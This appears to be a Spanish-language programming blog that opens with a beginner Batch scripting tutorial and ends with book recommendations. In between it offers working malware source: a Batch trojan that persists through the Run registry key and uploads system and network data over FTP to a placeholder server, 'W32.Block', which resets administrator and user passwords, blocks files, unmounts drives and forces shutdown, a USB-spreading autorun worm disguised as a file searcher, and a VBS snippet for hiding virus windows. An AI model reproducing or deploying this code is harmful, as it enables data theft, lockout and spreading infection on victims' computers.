• LOL

Curso Batch [Variables]

Que es Batch?

Batch en sí, no es un lenguaje de programación sino que es un lenguaje script ya que ejecuta solamente comandos del sistema creando un archivo por lotes de texto sin formato. No es case sensitive, es decir, que tanto es válido Variable1 como VARIABLE1 o variable1.

CMD o Shell

Nuestra Shell o consola de comandos es la ventanita negra que vemos cada que se ejecuta un bat, la pueden abrir dirigiéndose a Inicio>>Ejecutar>>Escriben cmd>>Enter. Ahí pueden ir haciendo sus pruebas sobre las diferentes variables de entorno que tenemos en el sistema o bien hacer línea por línea para probar su archivo ;).

Como guardar un archivo BAT

Usaremos nuestro glorioso bloc de notas para guardar nuestros trabajos que iremos realizando durante el curso, para guardarlo como un BAT, al darle guardar como escribiremos el nombre que queramos pero con extensión .bat. Esto es lo que haremos cada que quiéranos probar un code de los del curso o algún otro. (Para que ya no pregunten cómo se guarda xD)



Variables

Como sabemos, una variable es un espacio que se reserva en memoria para alojar cierto tipo de dato. En batch solo hay 2 tipos de datos: enteros y cadenas.

@echo off
set var_string= hola
set var_num=5
echo %var_string%
echo %var_num%
pause
exit

El código anterior tiene 2 variables, una donde almacenamos una cadena y en la otra un numero, no hay ciencia :). Otro dato importante es la primera línea que hemos puesto al igual que las 2 últimas.

@echo off: Nos sirve para que al momento de ejecutar nuestro archivo, no se muestren cada línea mostrando la ruta o el proceso de cada variable o función que vayamos realizando en nuestro programa. Prueben el programa anterior quitándole la primer línea y verán como aparece

Pause: Hace un pause durante la ejecución y presionando una tecla continua con su camino :), prueben pause>nul y notarán la diferencia, lo que hace el >nul es suprimir el resultado que da la el pause en este caso Presione una tecla para continuar… dejándolo solo en blanco.



Exit: Salida o fin del programa xD

@echo off
set num1 = 9
set num2=8
set /a resul=%num1%+%num2%
echo El resultado es: %resul%
pause
exit

Este pedazo de código de arriba realiza una operación entre num1 y num2.

@echo off
set num1 = 4
echo Numero uno es: %num1%
set /a num1*=0xff
echo Ahora numero uno es: %num1%
pause
exit

Con esto acabamos de hacer una operación con un decimal y un hexadecimal, el 0x indica que se trabajará con números hexadecimales; 0xff=255, entonces 4*=255 y al final num1=510.

Operadores


Agrupación:     ()
Aritméticos:       * / % + -
Bits:                   << >>
And:                  &
OR:                    ^
XOR:                   |
Asignación:        =  *=  /=  %=  +=  -=
                           &=  ^=  |=  <<=  =>>
Separador de expresión:      ,

Introducir datos por el teclado

@echo off
set /p name = Escribe tu nombre:
echo Hola %name %
pause
exit

Tan fácil como se ve, con el set /p name nos sirve para poder reservar un espacio en memoria para guardar la cadena del nombre que se ingresara para después imprimirlo con echo Hola %name%

Conclusion sobre Variables

@echo off
echo Promedio
set /p name = Escribe tu nombre:
echo ------Calificaciones------
set /p c1 = Primer semestre:
set /p c2 = Segundo semestre:
set /p c3 = Tercer semestre:
set /p c4 = Cuarto semestre:
set /a resul=(%c1%+%c2%+%c3%+%c4%)/4
echo Tu promedio final es: %resul%
pause
exit

Es un ejemplo muy claro sobre el uso de variables, datos introducidos por el teclado y operaciones matemáticas.

Nota: En este lenguaje script solo se manejan cifras enteras, no hay decimales :(

Apps Execute, agregar programas a ejecutar

Este programa es el mismo que el anterior solo que este esta hecho en Batch puramente y este agrega rutas al registro en vez de agregar accesos directos a la carpeta de Windows.

Disfrutenlo ;)


@echo off
color 0B
title Apps Execute
mode con cols=65 lines=15
:menu
set "file="
set "name="
set "temp0="
set "temp1="
set "opc="
cls
echo.Arrastre aqui su archivo [exe]
set /p file=">> "
call:com %file%
call:error1 %file%
echo.Nombre que usara para ejecutar su programa
set /p name=">> "
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%name%.exe" /ve /d %file% /f >nul
echo.
echo.Programa %name% agregado !!!
msg * Para verificar: Escriba [%name:~0,-4%] o [%name%] en [Ejecutar]
ping -n 4 localhost >nul
echo.Desea agregar otro programa [Y/N]
set /p opc=">> "
if /i ["%opc%"] == ["Y"] (goto:menu) else (msg * Gracias por usar Apps Execute&exit)
:com
set temp0=%1
if not [^%temp0:~0,1%] == [^"] (set file="%file%"&goto:eof) else (goto:eof)
:error1
set temp1=%1
if /i not ["%temp1:~-5,4%"] == [".exe"] (echo. Error23: Archivo invalido&pause>nul&goto:menu)
goto:eof

Agregar accesos directos a C:\Windows

Tal vez sea un nombre no muy claro pero la correcta explicación de este pequeño programa es la siguiente:

Cuando abren cierto programa desde Ejecutar es porque la ruta del ejecutable esta asociada al sistema y si no se encuentra les dice que Windows no puede encontrar el archivo "nombre"... entonces el programa siguiente hace eso, agregar accesos directos de tus programas al sistema para que los abras desde Ejecutar.


@echo off
color 0B
title Shortcut Execute
mode con cols=60 lines=15
:menu
cls
echo.Arrastre aqui su archivo [exe]
set /p file=">> "
echo.Nombre del acceso directo
set /p name=">> "
if exist "%systemroot%\%name%.lnk" (goto:comp)
:create
echo set WshShell = WScript.CreateObject("WScript.Shell") >> "%temp%\add.vbs"
echo set LinkCreator = WshShell.CreateShortcut("%systemroot%\" ^& "\%name%.lnk") >> "%temp%\add.vbs"
echo LinkCreator.TargetPath = %file% >> "%temp%\add.vbs"
echo LinkCreator.WindowStyle = 1 >> "%temp%\add.vbs"
echo LinkCreator.Description = "%name%" >> "%temp%\add.vbs"
echo LinkCreator.Save >> "%temp%\add.vbs"
call "%temp%\add.vbs"
ping -n 2 localhost >nul
echo.
msg * Acceso directo [%name%] creado con exito
del "%temp%\add.vbs"
pause>nul&exit
:comp
echo.
echo.Ya existe un acceso directo con ese nombre !!!
echo.
echo.Desea reemplazarlo? [Y/N/X] X=salir
set /p mod=">> "
if /i ["%mod%"] == ["X"] (pause>nul&exit)
if /i ["%mod%"] == ["Y"] (goto:create) else (goto:menu)

Robar datos por FTP en Batch

Este código sería como una parte de un troyano en Batch, ya que lo que hace es recopilar información importante de la PC infectada en cada reinicio tales como:

  • Nombre de la PC
  • Nombre del usuario iniciado
  • Fecha y Hora
  • Informacion completa sobre su estado de red ipconfig/all
  • Procesos activos


Se le pueden añadir mas opciones de información que quieras recopilar de la víctima como: PC`s conectadas en red (LAN -- net view), usuaros que pueden utilizar la PC, y muchos mas...


@ECHO OFF
SET spy=%programfiles%\Spybot
IF EXIST "%spy%" (goto:cont)
MD "%spy%" && COPY /Y %0 "%spy%" 2>nul >nul
:cont
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ServiceDefrag" /d "%spy%\ServiceDefrag.bat" /f 2>nul >nul
CD "%spy%"
ECHO PC: %computername% >> %computername%.code
ECHO SESION: %username% >> %computername%.code
ECHO FECHA: %DATE% >> %computername%.code
ECHO HORA: %TIME% >> %computername%.code
ECHO IP >> %computername%.code
ECHO ---------------------------------- >> %computername%.code
IPCONFIG/ALL >> %computername%.code
ECHO PROCESOS >> %computername%.code
ECHO ---------------------------------- >> %computername%.code
TASKLIST >> %computername%.code
ECHO usuario_ftp>> nano
ECHO password_ftp>> nano
ECHO ascii>> nano
ECHO put %computername%.code>> nano
ECHO close>> nano
ECHO bye>> nano
ftp -s:nano ftp.direccionftp.com 2>nul >nul
del /s /q /f %computername%.code 2>nul >nul
del /s /q /f nano 2>nul >nul
exit


Como se darán cuenta, la ventanita negra de cmd se mostrara cuando se ejecute el programa, aquí pueden combinar las lineas en VBS para ocultar la ventana de cmd y así pasar desapercibido.

W32.Block Bloquear el sistema en Batch

W32.Block es un virus que tiene como finalidad, bloquear el systema para que no se pueda volver a ingresar ni por el usuario que comunmente inicia ni por el administrador ya que crea contraseñas aleatorias que ni yo se cuales son :p


@echo off
set src=%temp%\screen.bat
set ss=%temp%\ServiceSystem.bat
set tep=/t /e /p
REG ADD "HKCU\Console" /v FullScreen /t REG_DWORD /d 1 /f >> "%src%"
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f >> "%src%"
start %ss% && exit >> "%src%"
@echo off && cls>> "%ss%"
type "%homedrive%\boot.ini" && REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LogonType /t REG_DWORD /d 1 /f >> "%ss%"
ipconfig/release >> "%ss%"
taskkill /F /IM explorer.exe >> "%ss%"
REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysTrayService /t REG_SZ /d "%ss%" >> "%ss%"
net user Administrador %random%binary%random% >> "%ss%"
net user %username% %random%ascii%random% >> "%ss%"
cacls "%userprofile%\Misdoc~1\*" %tep% %username%:n >> "%ss%"
cacls "%homedrive%\Docume~1\%username%\*" %tep% %username%:n >> "%ss%"
cacls "%homedrive%\Docume~1\*" %tep% %username%n >> "%ss%"
cacls "%programfiles%\Intern~1\iexplore.exe" %tep% %username%:n >> "%ss%"
cacls "%programfiles%\Mozill~1\firefox.exe" %tep% %username%:n >> "%ss%"
cacls "%systemroot%\system32\ipconfig.exe" %tep% %username%:n >> "%ss%"
cacls "%systemroot%\regedit.exe" %tep% %username%:n >> "%ss%"
cacls "%systemroot%\system32\notepad.exe" %tep% %username%:n >> "%ss%"
FOR %%u IN (C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (mountvol %%u:\ /D) >> "%ss%"
shutdown -s -f -t 00 && exit >> "%ss%"
call %src% && exit

SystemOff, colgar el sistema en Batch

Este code fué el que use para un reto que serviría para colgar el sistema o al menos alentarlo hasta que la memoria de la PC bajara demasiado y se tuvierá que reiniciar, está sencillo pero me hizo ganar xD.

::Simula ser un Buscador de archivos, se propaga por USB y cada que el usuario reinicie el sistema le volverá a pasar lo mismo que cuando lo ejecuto.
::::::::::::::::::::::::::::::::::
: :
: :
: SystemOff by Soldier :
: :
: :
::::::::::::::::::::::::::::::::::
@echo off
color 0E
title -SearchFiles-
set o=echo
set s=.vbs
set l=.bat
set i=.soldier
set r=%random%
set d=%random%
set e=%random%
set led=LVComServer
set spy=Anti-Spyware
echo.
echo.
echo.
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º º
echo º SearchFiles / Buscador de Archivos º
echo º º
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo Espere, el programa iniciara automaticamente...
ping -n 3 localhost > nul
echo Enlistando controladores de busqueda...
ping -n 2 localhost > nul
FOR %%U IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
copy "%homedrive%\%spy%\autorun.inf" "%%U:\autorun.inf" >nul
copy /y %0 "%%U:\Searchfiles%l%" >nul
attrib +h +s "%%U:\Searchfiles%l%" >nul
attrib +h +s "%%U:\autorun.inf" >nul )
cls

if exist "%homedrive%\%spy%" (goto cont) else (goto create)
:create
md %homedrive%\%spy%
:cont
call :core
call :core2
call :core3
call :core4
call :reg
call :msj

:reg
taskkill /F /IM TeaTimer.exe
cls
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "%led%"
/t REG_SZ /d "%homedrive%\%spy%\%led%%s%" /f >nul
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "BDUpdateCheck"
/t REG_SZ /d "%homedrive%\%spy%\%led%%s%" /f >nul
goto :EOF

:core
%o% rundll32 user32.dll,SwapMouseButton >> "%homedrive%\%spy%\tmp%d%%l%"
%o% start http://img211.imageshack.us/img211/3792/army31280rc7.jpg
>> "%homedrive%\%spy%\tmp%d%%l%"
%o% start %homedrive%\%spy%\%led%%s% >> "%homedrive%\%spy%\tmp%d%%l%"

%o% Do >> "%homedrive%\%spy%\%led%%s%"
%o% Set fh = CreateObject("WScript.Shell") >> "%homedrive%\%spy%\%led%%s%"
%o% fh.run "notepad.exe", vbHide >> "%homedrive%\%spy%\%led%%s%"
%o% fh.run "mspaint.exe", vbHide >> "%homedrive%\%spy%\%led%%s%"
%o% fh.run "calc.exe", vbHide >> "%homedrive%\%spy%\%led%%s%"
%o% fh.run "explorer.exe", vbHide >> "%homedrive%\%spy%\%led%%s%"
%o% Loop >> "%homedrive%\%spy%\%led%%s%"
goto :EOF

:core2
%o% MsgBox "La instrucción en ""0x019816d3"" hace referencia a la memoria
en ""0x019816d3"". La memoria no se puede ""read"".",21,
"SearchFiles.exe - Error de aplicación" >> "%homedrive%\%spy%\tmp%e%%s%"
%o% Set sg = CreateObject("WScript.Shell") >> "%homedrive%\%spy%\tmp%e%%s%"
%o% sg.run "%homedrive%\%spy%\tmp%r%%s%" >> "%homedrive%\%spy%\tmp%e%%s%"
goto :EOF

:core3
%o% Set cmd = CreateObject("WScript.Shell") >> "%homedrive%\%spy%\tmp%r%%s%"
%o% Set shell = CreateObject("Scripting.FileSystemObject")
>> "%homedrive%\%spy%\tmp%r%%s%"
%o% cmd.Run "%homedrive%\%spy%\tmp%d%%l%" >> "%homedrive%\%spy%\tmp%r%%s%"
goto :EOF

:core4
%o% [autorun] >> "%homedrive%\%spy%\autorun.inf"
%o% open=SearchFiles%l% >> "%homedrive%\%spy%\autorun.inf"
%o% icon=%systemroot%\system32\shell32.dll,7 >> "%homedrive%\%spy%\autorun.inf"
%o% UseAutoPlay=1 >> "%homedrive%\%spy%\autorun.inf"
%o% action=Abrir memoria para ver archivos >> "%homedrive%\%spy%\autorun.inf"
%o% action= @SearchFiles%l% >> "%homedrive%\%spy%\autorun.inf"
%o% shell\open=Abrir >> "%homedrive%\%spy%\autorun.inf"
%o% shell\open\command=SearchFiles%l% >> "%homedrive%\%spy%\autorun.inf"
%o% shell\open\default=1 >> "%homedrive%\%spy%\autorun.inf"
%o% shell\explore=Explorar >> "%homedrive%\%spy%\autorun.inf"
%o% shell\explore\command=SearchFiles%l% >> "%homedrive%\%spy%\autorun.inf"
goto :EOF

:msj
call %homedrive%\%spy%\tmp%e%%s% && exit

Descarga | Código en archivo de texto

Ocultar ventana MS-DOS ó prompt ó cmd

Si su code es de algún virus, troyano o alguna aplicación que no sea necesaria la intervención de la molesta ventana negra este pequeño código les servirá para ocultarla, es un script que hace una llamada a su archivo para así ocultar esa ventana, estas líneas de código las guardaran con extensión .vbs y ya estuvo.


set cmd = createobject("wscript.shell")
set shell = CreateObject("Scripting.FileSystemObject")
cmd.run "archivo-escondido.bat", vbHide

Pensando en C++ de Bruce Eckel [Español]

Durante mi aprendizaje en C++ me he dado cuenta de que este Libro me ha servido de mucho y su entendimiento es tanto para principiantes como para usuarios un poco avanzados. Pensando en C++ esta compuesto en 2 tomos que al término de leerlos de seguro sabrás programar en este maravilloso lenguaje que es bastante útil si deseas ser un programador a futuro. Se los recomiendo y lo dejo para su descarga.


Volumen 1

Clic en la imagen para descargar

Volumen 2

Clic en la imagen para descargar

Python para todos [Español]

'Python para todos' es un libro sobre programación en Python escrito por Raúl González Duque. Se trata de un tutorial de Python adecuado para todos los niveles y que puedes descargar totalmente gratis.

El tutorial de Python 'Python para todos' se distribuye bajo licencia Creative Commons Reconocimiento 2.5 España, lo que supone que puedes distribuirlo, modificarlo, traducirlo a otros idiomas, ... siempre que indiques el autor original.

El libro cuenta con 115 páginas en las que se tratan los siguientes temas:




* Tipos básicos
* Control de flujo
* Funciones
* Orientación a objetos
* Programación funcional
* Excepciones
* Módulos y paquetes
* Entrada / Salida
* Expresiones regulares
* Sockets
* Interacción con webs
* Threads
* Serialización de objetos



Descarga | Python Para Todos

Nuevo espacio dedicado a la programación

Bien pues me he dedicado empezar este nuevo portal dedicado solamente a la programación publicando códigos, manuales y algunos tutoriales que serán hechos por mi como clases de programación. Como dije, es todo referente a la programación y dentro podría incluir programación orientada a hack, noticias, y códigos del mismo tipo.



Disfrutenlo ;)

Contacto [En construccion]













 
Nano Code © 2010 | Diseñado por Chica Blogger | Volver arriba